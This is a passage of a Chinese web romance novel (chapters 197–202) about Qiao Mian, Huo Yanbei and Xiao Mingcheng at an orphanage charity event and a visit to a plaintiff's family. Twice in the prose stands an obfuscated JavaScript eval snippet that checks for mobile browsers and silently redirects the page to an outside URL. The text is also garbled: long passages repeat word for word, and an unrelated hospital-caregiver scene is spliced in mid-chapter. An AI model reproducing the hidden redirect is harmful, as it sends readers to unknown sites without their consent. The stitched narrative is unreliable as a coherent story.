“阮院长,无论您承不承认也无妨,我之所以跟您坦诚我已经知道了乔眠就是阿妩这件事,是想了解当年阿妩是怎么来的沪城?过去这六年,又是怎么过得,还有,我不希望她身边有萧明城这样处心积虑的人。” 他表明了足够的诚意,但是阮院长态度没有一点松动,“霍先生认错人了,乔眠不是你说的那个阿妩,至于你说的萧明城,我不认识,应该是乔眠的朋友吧。” 说罢,起身送客,“霍先生,已经很晚了,请回去吧。” 霍宴北起身,“如果为了乔眠好,请不要告诉她,我今晚见过您一事,我不想她心里有压力。“这句话,我应该跟你说,如果为了乔眠好,你才应该远离她的生活,况且,你已经结婚了。” 霍宴北扯了一下领带,抬步走到门口时,说了一句,“我的妻子只有一个人,就是霍妩。” 说完,阔步离开了。 阮院长坐回沙发上,拧眉沉思了良久,只觉得霍宴北这个人确实危险的让人难以琢磨。 明明已经知道了乔眠就是他要找的阿妩,却不肯拆穿,倒是够能隐忍的。 只是,她没想到,今晚的谈话是给自己埋了一个雷。 …… 阮院长找了一圈,才在阅览室找到了还在睡熟的乔眠。 “眠眠,醒醒,你怎么睡这里了?” 叫了几次,乔眠才迷迷糊糊的醒了过来。 “跟我回屋睡去,这里冷。” 阮院长拽着她起身,朝门口走去。 走出阅览室,一阵冷风吹在脸上,乔眠还有些昏沉的脑袋彻底清醒了过来。 第一时间,回头环视了一圈阅览室,没看到霍宴北时,眸光一点点黯了下去,“阮院长,霍宴北来过,您过来时,没看到他吗?” “他……” 阮院长本想把霍宴北找过她一事告诉乔眠,但想起霍宴北临走时警醒的那些话,最后,把话咽了回去。 现在告诉乔眠,除了让她焦虑不安外,没有任何意义。 霍宴北已经明牌了,乔眠再想逃避,也逃不掉了。 或许,这就是命吧。 之前,听阮薇提过,霍宴北和现在的妻子不是真夫妻,而刚才,霍宴北说,他的妻子是霍妩。 说这话时,好像挺认真的。 阮院长若有所思的问,“眠眠,你以前跟霍宴北领过证没?” “领证?领什么证?” 乔眠有些懵。 压根没反应过来阮院长口中的领证,指的是什么。 阮院长见她这副呆呆的小表情,摇头笑笑,“结婚证。” “……” 乔眠直接愣住了两秒,笑了出来,“我跟他怎么可能结婚?如果当年,我们结婚了,他怎么会和宋蔓订婚?即便没有宋蔓,他和我也不会走到领证结婚那一步。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228337|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为霍家根本看不上我的出身,要不然,霍老爷子也不会给我安一个霍家小姐的虚假名头,让我做霍宴北的妹妹。” 听到这里,阮院长觉得是自己想多了,眼见乔眠谈及过往的事情,情绪有些低沉,轻声安抚道,“对于普通出身的女孩,嫁进豪门未必会幸福,尤其是像霍家那样的名门贵族,内里全是争权夺势和勾心斗角,你曾经在霍家待过几年,这点,比我清楚。” “所以,我怎么可能跟他领证结婚?阮院长,你这个问题好奇怪。” “随口问的。” 阮院长跟她聊了一会儿,回自己房间睡觉了。 想到阮薇和孩子们已经睡着了,怕吵醒他们,于是,她去了阮薇的房间。 大概是之前睡了一小会的缘故,这会儿一点困意都没有。 想到霍宴北,感觉在阅览室的一切好像一场虚妄的梦。 可是,看着镜子里,脖颈上密布着的清晰吻痕,却又在提醒她,那不是梦。 思绪乱飞时,手机响了。 是霍宴北打来的。 “我回酒店了,你回房间睡觉,别冻感冒了。” 乔眠张了张嘴,想问他怎么突然回酒店了。 他明明说,陪她的…… 这个念头莫名跳出来时,乔眠自己都吓了一跳,对着镜子拍了一下脸颊,语气保持平静,回了一句,“知道了。” “明天有什么安排?” “我……” 本想说她和萧明城约好一起去原告家走访的,但想到霍宴北对萧明城似乎有成见,怕他又发疯,扰乱她的工作,于是到嘴边的话咽了回去。 “明天再安排吧,时间太晚了,我要睡觉了。” 她敷衍了一句,就挂了电话。 而此时,霍宴北坐在车内,望着暗下去的手机屏幕,无奈的笑笑,“小骗子。” 陈珂透过后视镜,望了一眼老板,“霍总,阮院长怎么说?” “什么都没说。” 陈珂轻拍了一下方向盘,“前两次,我来拜访,她也是什么都不肯说,还把我撵出来,差点报警。” 第197章 霍宴北护着她 “无妨。” 男人摩挲着腕骨上那串核桃红绳手串,轻挑眉宇,“听说沪城市政今年要推进一个新的开发区计划?” “是的,市政项目,许多家公司都惦记着呢,之前,公司董事会还探讨过要吃下这块蛋糕,当时还给您看过立项资料,最后被您否了。” 霍宴北沉思良久,问道,“沪城的市政项目,想必萧总的公司也有参与?” “有参与,前段时间还上新闻了,说是马上要开始竞标了。” 霍宴北眉心一紧,“如果我没记错的话,开发区规划方案中,孤儿院那片区域,就在拆除计划中?” 陈珂一下子被问住了。 实在惊叹于老板的记忆力。 不过,他倒是快速反应过来,“您的意思是,要参与竞标?” “我在乎的不是这个项目,我要的是,只要和阿妩相关的一切,都要牢牢控制在自己手里。” 陈珂明白了过来。 老板不仅在提防萧明城介入,也在掌控主动权。 “明天我整理好资料,就安排人接洽这个项目。” “嗯。” …… 第二天,乔眠起来时,已经九点了。 孤儿院今天举行慈善活动。 阮院长带着老师们亲自布置会场。 从大院门口一路到各个教室,拉着横幅和标语。 院内老师和高年级的学生们忙忙碌碌的。 “阮院长,今天又有贵客要来吗?” 乔眠见阮院长坐在桌子前,忙着整理纪念品,走过去帮忙时问了一句。 孤儿院之所以能够撑到现在,全靠阮院长之前在政圈积攒下来的人脉,以及结识的名流人士,做慈善公益募捐活动维持下去。 “都是些富商企业家,图的是慈善家的名声,咱孤儿院需要慈善款,互相成就罢了。” 说着,指了下布置好的场台,“那些人来慰问孤儿院,上台演讲几分钟,还请了媒体记者,就是走个过场。” “这些流程我都知道,我帮您忙吧。” 乔眠见阮院长眼睛里满是疲惫,有些心疼,扶着她在椅子上坐下。 “你这次回来不是还要为了乔安的案子忙活吗?” 阮院长拍拍她的手,“这种慈善活动每年都要忙上一场,不累,你快去忙吧。” “那好吧,您注意休息。” “嗯,阮薇带着三个小宝和其他小朋友们在活动室玩游戏呢,你不必操心。” “嗯。” 乔眠回到自己住的房间,换了一身较正式的着装。 又简单化了一个淡妆。 收拾好,挎着包下楼后,掏出手机准备给萧明城打电话时,一抬头就看到萧明城站在楼下。 “乔律师。” 萧明城的助理先开口打了一个招呼。 乔眠点头回应后,走到萧明城面前,打手语问,“正准备给你打电话呢,你怎么知道我在这里的?” 萧明城弯了下唇角,【我是受邀来参加慈善公益活动的。】 聊到这里时,男人手语动作顿了一下后,继续道,【以前,我未婚妻乔眠,就是这家孤儿院出来的。】 乔眠脸色微微一僵。 萧明城摆明了又在试探她。 一时间,她不知道怎么接话了,萧明城顺着这个话题问道,【没想到乔律师也在这里,真的很巧。】 【我……】 乔眠顿了一下,回道,【我朋友的母亲是这家孤儿院的院长,这次回沪城,正好来看看她们。】 她避重就轻,表述的却是实话。 也不知道萧明城有没有相信,但没再继续这个话题,【慈善活动马上开始了,等结束后,我们再一起去原告家属家走访吧。】 乔眠刚想拒绝,慈善活动现场已经有不少宾客进场了。 【一起过去吧。】 萧明城没等她反应过来,抬手攥住她的手腕,走进了活动现场。 但很快,乔眠就将手从他掌心抽离了。 “眠眠,你怎么没走?” 阮院长招呼宾客时,看到她的身影,走过来询问时,将视线落在了萧明城身上,“这位是……” 受邀参加慈善活动的富商,她都认识,只有萧明城脸生。 萧明城的助理上前,将一张名片递给了阮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233327|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院长,“阮院长,这位是柏海集团的萧总,是沈老介绍来的。” “哦,原来是沈老的朋友啊,真是年轻有为。” 阮院长客套了一句,垂眸看到名片上的名字后,错愕的看向了乔眠。 萧明城,不就是昨夜乔眠提的,真正的乔眠的未婚夫吗? 乔眠对上阮院长的视线后,点了下头。 她也是在这一刻明白,萧明城今天就是故意用这种方式结识阮院长的。 最终目的,还是冲着她来的。 乔眠暗暗决定,与其被萧明城一直误会紧追着不放,不如把事情真相告诉他好了。 【萧总。】 乔眠轻拽了一下他的衣袖,【我有话要跟你说。】 萧明城侧目看她一眼,打了一个手势,意思让她稍等。 紧接着,听到活动台上,主持人唤到了萧明城的名字。 随后,萧明城的助理走上台,面对在场所有人,以及媒体记者的面,代表柏海集团,给孤儿院捐了一大笔钱。 是今天受邀宾客中捐款最多的金主。 瞬间,所有人的视线都**在了台下的萧明城身上。 就连阮院长也很震惊,萧明城居然如此慷慨。 “萧总,非常感谢您为慈善事业出一份力,我代表孤儿院的孩子们谢谢你。” 萧明城含笑点了一下头。 随后,阮院长和萧明城在媒体记者以及现场所有人的见证下,合了一张影。 正在这时,现场传来一阵骚乱。 乔眠循声望去。 就看到一抹熟悉的身影从人群簇拥中走来。 是霍宴北。 乔眠愣了一下。 很快,就看到主持人宣称,霍氏集团为助理慈善公益捐款一笔巨额款项。 比刚刚出完风头的柏海集团还要多。 现场**的富商名流,得知来人是霍氏集团的总裁,一窝蜂的簇拥了过来。 纷纷上前打招呼。 霍宴北也只是态度淡淡的寒暄了几句。 隔着一段距离,目光紧紧锁定在站在萧明城身边的乔眠身上。 她今天穿的很职业干练。 第198章 官宣解除 即便隔着一段距离,目光紧紧锁定在站在萧明城身边的乔眠身上。 她今天穿的很职业干练。 一件藏青色大衣配黑色长裤,里面是一件竖领薄毛衣,天鹅颈衬得格外笔直漂亮。 绾了一个低马尾,知性又带着点严肃。 但对上他的目光那一刻,很明显又有一丝慌乱的躲闪。 走近时,却是很自然的抬手扣住乔眠的手腕,将人从萧明城身边拽到了自己身边。 完全不顾场合,也不顾体面,哪怕引来无数道目光的盯视,也毫不在乎。 不过,即便有些人一副吃瓜表情,也不敢非议一个字。 至少在正主面前,不敢蛐蛐。 但是,乔眠架不住成为人群中的焦点,被众人只敢在脑中猜疑的身份,薄薄的脸庞当即红透了。 她觉得霍宴北又犯疯病了。 尽可能动作幅度很小的甩开他后,阮院长顺势拉过她的手腕,让她站在了另一边,打圆场道,“多谢霍总参与今天的慈善活动,还如此慷慨,我替孤儿院里的每一个孩子谢谢您。” 霍宴北视线落在乔眠身上,很是意味深长的说了一句,“我这个人不是慈善家,只是不想有人晚上睡觉时,连空调都没有。” 这句话,虽然旁人听不懂,但明显意有所指,甚至笃定认为霍宴北口中的‘有人’指的是乔眠。 这副操作,加速了旁人对乔眠和霍宴北之间身份的解析和猜测。 就连阮院长都控不住场了,好在威望高,三两句就将宾客引到内场,进入慰问孤儿院小朋友的环节。 这是名流富商们绝佳出镜秀企业家形象的机会,媒体记者也跟了过去。 此时,萧明城也通过助理翻译,知道了霍宴北刚才说了什么,脸色变得有些难看,第一时间看向自始至终没有吱声的乔眠。 乔眠也是在周围安静下来以后,才从凌乱的思绪中剥离出来。 但是,因他刚才那番话,而触发大脑不断地回放昨夜和他在阅览室接吻的画面历历在目。 他就是故意的,当着所有人的面宣示主权,她是他的人。 这强势直白的行事风格,也只有霍宴北这样的疯子才会做出来。 “霍总,你没有别的事情要做吗?” 乔眠后退一步,跟他刻意拉开距离。 “你的事情就是我现在最关心的事情。” 他再次硬核撂话过来,乔眠嗔恼的瞪他一眼后,萧明城的助理走过来说道,“乔律师,萧总说现在可以出发了。” 乔眠嗯了一声,再次将目光投向身旁的男人,用极小的声音说道,“你别添乱,我有正事要忙。” “行。” 霍宴北勾了下唇角,温柔的抚了抚她的鬓发,“去吧,回来后给我打电话。” 难得他不再纠缠,乔眠嗯了一声,跟着萧明城一起朝大门口走去。 一直目送到两人上车后,霍宴北打了一个电话。 刚收起手机,阮院长走了过来,“霍总刚才当众这么做,只会让乔眠被人非议。” “我的人,谁敢?” 这句话霸气又强势,倒是让阮院长不知道怎么接话了,只好就着捐款一事,再次表示感谢,“总之,今天很感激霍总的支持。” “不必谢,我不是什么慈善家,我这么做,只是单纯冲着阿妩,她把这里当做自己的家,我就替她守着。” 阮院长张了张嘴,一时间又不知道该怎么接话了。 这时,陈珂走过来说道,“阮院长,我们集团还采购了一批空调,赠送给孤儿院,明天就会有工人师傅陆续进来安装。” “这……太感谢了。” 阮院长恍然间觉得,霍宴北似乎是真心对待乔眠的,还挺长情的。 可是,六年前,又为何做出那么伤害人的事情? “阮院长客气了,我还有事,先走了。” “好……” 霍宴北走后,阮院长轻轻的叹了一声。 心想,霍宴北和乔眠之间,曾经是不是有什么误会? 出了孤儿院后,陈珂说道,“萧总今天这么大手笔,看来也是冲着乔律师来的。” 霍宴北没有接话,只是点了一支烟咬进嘴里,说道,“现在宋家的公司已经由职业经理人全面接手,回京市后,找个合适的机会,官宣我和宋蔓非夫妻关系。” 陈珂听后,吓了一跳,“虽然您一直想跟宋小姐解绑,但是,这么直白的官宣爆出去的话,只会让霍家名誉受损,况且,宋小姐也会陷入舆论中,这个收场,大家都不好看。” 末了,又补了一句,“怕是老爷子知道后,会气出个好歹来,本来您那大伯一家就盯着老爷子手里那点股份不放,恨不得拿着放大镜找您错处呢。” “这则官宣要是爆出去,他们肯定会抓住这事借题发挥,不一定怎么下死手呢?” “六年前,那场大火,跟您完全没有关系,可最后,还不是被他们拿来做文章,使劲往霍妩小姐身上引,连累您几番被死者家属起诉索要高额赔偿金,在生意场上还被联合打压,差点被清出霍氏。” 听完陈珂絮絮叨叨的这些话,霍宴北冷冷的睨了他一眼,“我现在找到阿妩了,总要给她一个交代,要不然,她会一直把我往外推。” 六年前,他就应该给她一个交代,可是,那时的他,过度自信,以为可以掌控一切,以为阿妩永远会站在原地,毫无怨言的等着他。 现在的乔眠,是阿妩,却也已经不是过去那个满世界只有他的阿妩了。 即便现在,他做的再多,还是觉得不够弥补她。 更何况,宋蔓不该瞒着他,私底下找乔眠的麻烦。 虽然乔眠嘴上没说宋蔓找她那天,对她说了什么,但他也猜得到,以宋蔓高傲的性子,肯定会搬出霍太太的架势,对乔眠说一些不中听的话。 “照做。” 沉默良久,男人薄唇中溢出两个冷冷的字眼。 陈珂只得应了一声,“是,回到京市后,您还是提前跟宋小姐和谐沟通清楚,毕竟,也得顾全思念小姐的处境。” 第199章 认真的 提到女儿霍思念,霍宴北心间瞬间柔软了一分,“就是因为这六年,宋蔓全心全意照顾思念,我能给她的都尽量给她了。” 陈珂叹道,“是啊,您之前给宋蔓小姐那些资产,几乎砍掉了您一半身家,这些年,无论是对宋家,还是对宋蔓姐弟,你做的也够多了,并不欠他们,但是……” 陈珂沉吟道,“在老爷子心中,宋蔓是认定的孙媳妇,又极重脸面,这事一旦爆出去,老爷子肯定会出手干涉的。” “老宅那些人,再怎么折腾,无所谓。” 六年前,爷爷已经干涉的够多了。 这次,无论发生什么,他都会保护好阿妩。 “对了,今天约了市政的一个重要人物见面,行程安排在晚上。” 红灯时,陈珂看了一眼行程表,提醒道。 霍宴北嗯了一声,没再说话。 而另一边。 乔眠自打上车后,就低着头,专注于案件资料。 还有些小紧张。 之前她不是没有办过刑事案件,也出过几次庭审刑辩,但都是韩主任主诉,她辅助。 这是她第一次全面受理刑事案件。 心里预设了多种为当事人争取无罪的方案,但真正实施时,还是没有太大的把握。 就连即将要面对原告家属,这会儿心里已经在做心理建设,想着等会该怎么有效取证沟通。 正入神时,肩膀被身旁的人轻轻拍了一下。 她抬头一看,就见萧明城用手语问道,【那会儿在孤儿院,你说有话要跟我说。】 乔眠低头,将案件资料整理好放回包里,回道,【等忙完后,再谈那件事吧。】 这会儿跟他道出她真相,也不知道萧明城会做出什么反应。 况且,应该马上就到当事人家了。 【好,等你想说的时候说。】 萧明城回了一句后,拧开一瓶纯净水递到她手里,【乔律师,我一直有个问题想要问你,但可能会冒犯到你。】 乔眠神经高度集中起来,就看到他眉眼间带着一丝深沉的探究,问道,【你和霍总真的在一起了吗?】 乔眠抿紧唇角,想否认,但是,和霍宴北之间不清不楚的关系,却是事实。 她想了许久,最后并没有正面回答这个问题,但没有否认的态度,已经足够说明乔眠和霍宴北的确是那种关系。 萧明城心里涌起一抹尖锐的钝痛,没再问下去。 刚才,她提及丈夫…… 可她看起来,也就二十出头。 已经结婚了吗? 乔眠没想到他会问个人隐私问题,微垂眼睫,有些困惑的看着他。 他掀起眼皮,也看着她。 两人目光对上。 乔眠表情局促的最先错开视线,回道:【二十七岁。】 她多说了一岁。 霍宴北收回目光,没再多问。 乔眠捉摸不透他在想什么。 总觉得,他像是在试探什么…… 输完液,已是中午。 她上午的看护工作已经结束。 现在是午休时间。 准备离开时,霍宴北忽然朝她伸手:“手机给我一下。” “……” 乔眠不不确定他想做什么。 不想给。 但是,他的目光逼匛,带着一种不容置喙的强势和威压。 只是微沉的一个眼神,以前每每在他面前,那种刻进骨子里的顺从,让她条件反射的比脑子先作出了反应。 手机递给了他。 看着有几道裂痕的手机屏幕,男人深冷的眸底闪过一抹复杂的情绪。 滑开手机,拨通了他自己的手机。 铃声响起,他切断电话:“你是我的陪护,我需要随时能联系到你。” “……” 乔眠蹙眉。 这个说辞,有些生硬。 但好像从他这种霸道强势的人嘴里说出来,又并不违和。 或许是她过于敏感了…… 霍宴北把手机还给她时,瞥到一条跳到屏幕上的消息:【这款限量版男士Ls手帕巾,只卖两千?是不是假货啊?】 男人眼神微微一滞,装作没看到,将手机还给了她。 乔眠接过手机,塞进口袋。 离开病房后,霍宴北把通话记录的手机号复制下来,打开微信添加好友界面,把手机号粘贴后,搜索出来的微信。 他申请添加对方好友。 这时,陈珂开口道:“二爷,她不是会说话吗?为什么一直打手语?” 霍宴北漫不经心地回了一句:“你问她。” “难道是显得自己很特别,为了引起你的注意?” 毕竟,这些年,变着花样想爬二爷床的女人比海里的鱼都多。 除了一些世家千金,还有些名媛培训班出来的捞女,想尽办法打听二爷的喜好后,专门投其所好。 “她不是。” 沉默片刻后,霍宴北回了一句。 “您为何这么肯定?” “她结婚了。” “她那面相……看着也不像啊。” 陈珂小声嘟哝了一句,询问:“二爷,那您还要继续见她吗?” 男人疲惫的摁了摁眉心:“她不是阿妩,阿妩做饭不会那么难吃。” “那个小护工的确不可能是霍妩小姐,毕竟霍妩小姐耳朵听不见,也不能开口说话……” “是吗?” …… 乔眠在医院食堂吃了一碗面,回到员工休息室。 她刚在下铺坐下来,周眉挤了过来:“小乔,听说你今天陪护的是VIP病房的雇主,怎么样?是不是那种难伺候又很有钱的老头?” 乔眠轻轻扯了扯唇角:“是一个年轻有颜多金的太子爷。” 语落,她摸了摸喉咙。 她又能开口说话了…… “我才不信呢!” 周眉嗔怪的瞅了她一眼,“那种年轻帅气的有钱人,上赶着追在屁股后面等伺候他的女人一抓一大把,怎么可能会找我们这种小护工?肯定是个丑老头。” 乔眠语气没什么起伏的回道:“是真的。” “哎呦,周眉,人家小乔说的是真的。” 王大姐插了一句嘴,“我听护士说,1101住的可是京圈最有钱有势的霍家二少。” 周眉一听,眼睛都直了:“小乔,你陪护的病人真的霍少?” “嗯。” “天呐,那可是顶级豪门的霍二少啊,那颜值、身材,甩男明星一条街好不好。” 第200章 赢了 就在王玲和许强再次上前纠缠时,乔眠掏出手机,放出一段录音,“刚才群众们说你弟弟许胜以前家暴乔安的那些话,我可全部录了下来,接下来,我还会挨家拜访取证。” “你……” “如果你们拒绝谈的话,我们现在就走,后续庭审上见,到时候宣判时,该赔偿多少,我方都认。” 乔眠强硬打断对方,软硬兼施又说了一番话后,作势转身就走。 萧明城跟在后面。 三人刚走到大门口,王玲和许强撑不住了,嚷嚷道,“我弟弟好歹一条人命没了,也不是你们三瓜俩枣就能抵消的了的。” 乔眠转过身,从公文包里掏出一份,她之前起草好的赔偿协议和谅解书,一并递过去,“许强,你弟弟是怎样一个人,你心里比谁都清楚,刚才来镇上时,我已经问过不少镇上的人,他们说你们两口子,之前和你弟弟许胜为了镇上那两间,你父亲去世之前留给你们的门面房打的头破血流。” “许胜和乔安之所以离开镇子,去京市打工,也是因为你们独占了家产,把他们撵出去的,为此,你弟弟许胜还曾经拿着刀在街上追砍过你,你们兄弟失和已久,现在却口口声声大谈兄弟情了?” 这些话说出去后,许强都惊了,急忙找补道,“兄弟之间那有隔夜仇?我弟弟许强嗜赌成性,不成器,我占着他那份家产,也是怕他把败光了,我是为了他好。” 乔眠冷笑,“我不是跟你争论你们过去的家事的,许强,利弊我已经分析过了。” 说到这里,她将两份协议直接丢到了面前的桌子上,而后,看了一眼萧明城,“这位萧总愿意给你们一笔赔偿金,我们今天来,不是跟你们吵架的,更不是跟你们讨价还价的,许强,要多少赔偿金才能签谅解书。” 说到这里,她又将一只钢笔放在桌子上,“赔偿金额上你直接写出来。”王玲和许强夫妇听后,惊愕的对了一下眼神。 还没见过这么大方的主儿。 一时间,俩夫妻也不再杠了,态度来了一个八十大转弯。 “那个……乔律师是吧?容我商量商量。” 说罢,夫妻俩难脸上的兴奋之色,去了内院。 乔眠神情复杂的轻摇了一下头,寻了一个凳子坐下。 【看那两口子的态度,咱们肯定能够拿到谅解书,乔律师怎么看起来并不太高兴?】 萧明城紧挨着她坐在板凳另一端,主打跟她搭话。 乔眠叹了一声,连打手语的动作都充满无力感,【我只是觉得,有时候在金钱面前,亲情真的一文不值。】 【人心凉薄,不是每个人都是如此。】 萧明城眉眼温柔的安慰了一句后,一脸赞的看着她,【之前我确实是小瞧乔律师的实力了,其实,在你之前,我请过两个律师来谈,但最后都是无疾而终,只有你做到了。】 【萧总过赞了,我就是一个小律师。即便隔着一段距离,目光紧紧锁定在站在萧明城身边的乔眠身上。 她今天穿的很职业干练。 一件藏青色大衣配黑色长裤,里面是一件竖领薄毛衣,天鹅颈衬得格外笔直漂亮。 绾了一个低马尾,知性又带着点严肃。 但对上他的目光那一刻,很明显又有一丝慌乱的躲闪。 走近时,却是很自然的抬手扣住乔眠的手腕,将人从萧明城身边拽到了自己身边。 完全不顾场合,也不顾体面,哪怕引来无数道目光的盯视,也毫不在乎。 不过,即便有些人一副吃瓜表情,也不敢非议一个字。 至少在正主面前,不敢蛐蛐。 但是,乔眠架不住成为人群中的焦点,被众人只敢在脑中猜疑的身份,薄薄的脸庞当即红透了。 她觉得霍宴北又犯疯病了。 尽可能动作幅度很小的甩开他后,阮院长顺势拉过她的手腕,让她站在了另一边,打圆场道,“多谢霍总参与今天的慈善活动,还如此慷慨,我替孤儿院里的每一个孩子谢谢您。” 霍宴北视线落在乔眠身上,很是意味深长的说了一句,“我这个人不是慈善家,只是不想有人晚上睡觉时,连空调都没有。” 这句话,虽然旁人听不懂,但明显意有所指,甚至笃定认为霍宴北口中的‘有人’指的是乔眠。 这副操作,加速了旁人对乔眠和霍宴北之间身份的解析和猜测。 就连阮院长都控不住场了,好在威望高,三两句就将宾客引到内场,进入慰问孤儿院小朋友的环节。 这是名流富商们绝佳出镜秀企业家形象的机会,媒体记者也跟了过去。 此时,萧明城也通过助理翻译,知道了霍宴北刚才说了什么,脸色变得有些难看,第一时间看向自始至终没有吱声的乔眠。 乔眠也是在周围安静下来以后,才从凌乱的思绪中剥离出来。 但是,因他刚才那番话,而触发大脑不断地回放昨夜和他在阅览室接吻的画面历历在目。 他就是故意的,当着所有人的面宣示主权,她是他的人。 这强势直白的行事风格,也只有霍宴北这样的疯子才会做出来。 “霍总,你没有别的事情要做吗?” 乔眠后退一步,跟他刻意拉开距离。 “你的事情就是我现在最关心的事情。” 他再次硬核撂话过来,乔眠嗔恼的瞪他一眼后,萧明城的助理走过来说道,“乔律师,萧总说现在可以出发了。” 乔眠嗯了一声,再次将目光投向身旁的男人,用极小的声音说道,“你别添乱,我有正事要忙。” “行。” 霍宴北勾了下唇角,温柔的抚了抚她的鬓发,“去吧,回来后给我打电话。” 难得他不再纠缠,乔眠嗯了一声,跟着萧明城一起朝大门口走去。 一直目送到两人上车后,霍宴北打了一个电话。 刚收起手机,阮院长走了过来,“霍总刚才当众这么做,只会让乔眠被人非议。” “我的人,谁敢?” 第201章 不听话就吃你 这句话霸气又强势,倒是让阮院长不知道怎么接话了,只好就着捐款一事,再次表示感谢,“总之,今天很感激霍总的支持。” “不必谢,我不是什么慈善家,我这么做,只是单纯冲着阿妩,她把这里当做自己的家,我就替她守着。” 阮院长张了张嘴,一时间又不知道该怎么接话了。 这时,陈珂走过来说道,“阮院长,我们集团还采购了一批空调,赠送给孤儿院,明天就会有工人师傅陆续进来安装。” “这……太感谢了。” 阮院长恍然间觉得,霍宴北似乎是真心对待乔眠的,还挺长情的。 可是,六年前,又为何做出那么伤害人的事情? “阮院长客气了,我还有事,先走了。” “好……” 霍宴北走后,阮院长轻轻的叹了一声。 心想,霍宴北和乔眠之间,曾经是不是有什么误会? 出了孤儿院后,陈珂说道,“萧总今天这么大手笔,看来也是冲着乔律师来的。” 霍宴北没有接话,只是点了一支烟咬进嘴里,说道,“现在宋家的公司已经由职业经理人全面接手,回京市后,找个合适的机会,官宣我和宋蔓非夫妻关系。” 陈珂听后,吓了一跳,“虽然您一直想跟宋小姐解绑,但是,这么直白的官宣爆出去的话,只会让霍家名誉受损,况且,宋小姐也会陷入舆论中,这个收场,大家都不好看。” 末了,又补了一句,“怕是老爷子知道后,会气出个好歹来,本来您那大伯一家就盯着老爷子手里那点股份不放,恨不得拿着放大镜找您错处呢。” “这则官宣要是爆出去,他们肯定会抓住这事借题发挥,不一定怎么下死手呢?” “六年前,那场大火,跟您完全没有关系,可最后,还不是被他们拿来做文章,使劲往霍妩小姐身上引,连累您几番被死者家属起诉索要高额赔偿金,在生意场上还被联合打压,差点被清出霍氏。” 听完陈珂絮絮叨叨的这些话,霍宴北冷冷的睨了他一眼,“我现在找到阿妩了,总要给她一个交代,要不然,她会一直把我往外推。” 六年前,他就应该给她一个交代,可是,那时的他,过度自信,以为可以掌控一切,以为阿妩永远会站在原地,毫无怨言的等着他。 现在的乔眠,是阿妩,却也已经不是过去那个满世界只有他的阿妩了。 即便现在,他做的再多,还是觉得不够弥补她。 更何况,宋蔓不该瞒着他,私底下找乔眠的麻烦。 虽然乔眠嘴上没说宋蔓找她那天,对她说了什么,但他也猜得到,以宋蔓高傲的性子,肯定会搬出霍太太的架势,对乔眠说一些不中听的话。 “照做。” 沉默良久,男人薄唇中溢出两个冷冷的字眼。 陈珂只得应了一声,“是,回到京市后,您还是提前跟宋小姐和谐沟通清楚,毕竟,也得顾全思念小姐的处境。” 陈珂只得应了一声,“是,回到京市后,您还是提前跟宋小姐和谐沟通清楚,毕竟,也得顾全思念小姐的处境。” 提到女儿霍思念,霍宴北心间瞬间柔软了一分,“就是因为这六年,宋蔓全心全意照顾思念,我能给她的都尽量给她了。” 陈珂叹道,“是啊,您之前给宋蔓小姐那些资产,几乎砍掉了您一半身家,这些年,无论是对宋家,还是对宋蔓姐弟,你做的也够多了,并不欠他们,但是……” 陈珂沉吟道,“在老爷子心中,宋蔓是认定的孙媳妇,又极重脸面,这事一旦爆出去,老爷子肯定会出手干涉的。” “老宅那些人,再怎么折腾,无所谓。” 六年前,爷爷已经干涉的够多了。 这次,无论发生什么,他都会保护好阿妩。 “对了,今天约了市政的一个重要人物见面,行程安排在晚上。” 红灯时,陈珂看了一眼行程表,提醒道。 霍宴北嗯了一声,没再说话。 而另一边。 乔眠自打上车后,就低着头,专注于案件资料。 还有些小紧张。 之前她不是没有办过刑事案件,也出过几次庭审刑辩,但都是韩主任主诉,她辅助。 这是她第一次全面受理刑事案件。 心里预设了多种为当事人争取无罪的方案,但真正实施时,还是没有太大的把握。 就连即将要面对原告家属,这会儿心里已经在做心理建设,想着等会该怎么有效取证沟通。 正入神时,肩膀被身旁的人轻轻拍了一下。 她抬头一看,就见萧明城用手语问道,【那会儿在孤儿院,你说有话要跟我说。】 乔眠低头,将案件资料整理好放回包里,回道,【等忙完后,再谈那件事吧。】 这会儿跟他道出她真相,也不知道萧明城会做出什么反应。 况且,应该马上就到当事人家了。 【好,等你想说的时候说。】 萧明城回了一句后,拧开一瓶纯净水递到她手里,【乔律师,我一直有个问题想要问你,但可能会冒犯到你。】 乔眠神经高度集中起来,就看到他眉眼间带着一丝深沉的探究,问道,【你和霍总真的在一起了吗?】 乔眠抿紧唇角,想否认,但是,和霍宴北之间不清不楚的关系,却是事实。 她想了好一会儿,最后并没有正面回答这个问题。 但没有否认的态度,已经足够说明乔眠和霍宴北的确是男女朋友关系。 萧明城心里涌起一抹尖锐的酸涩,但还是克制下来,没再问下去。 下午三点。 抵达原告家属家里。 这里离市区偏远,是一个临海的小镇。 原告家属得知他们是被告家属以及律师时,一句沟通的话都懒得讲,立即打电话摇人,很快院子里围满了亲朋好友助威。 还有不少邻里街坊瞧热闹。 这来势汹汹的架势,直接让乔眠开了眼。 这才明白为何萧明城之前提过,原告家属不好应对。 但越是这种凶恶的架势,其实反而好办。 无非是谈钱。 第202章 回到京市 乔眠真怕他动真格的,只好跟着他出了卧室。 来到餐桌前坐下,看到满桌子都是她爱吃的饭菜,也不再矫情,拿起筷子吃了起来。 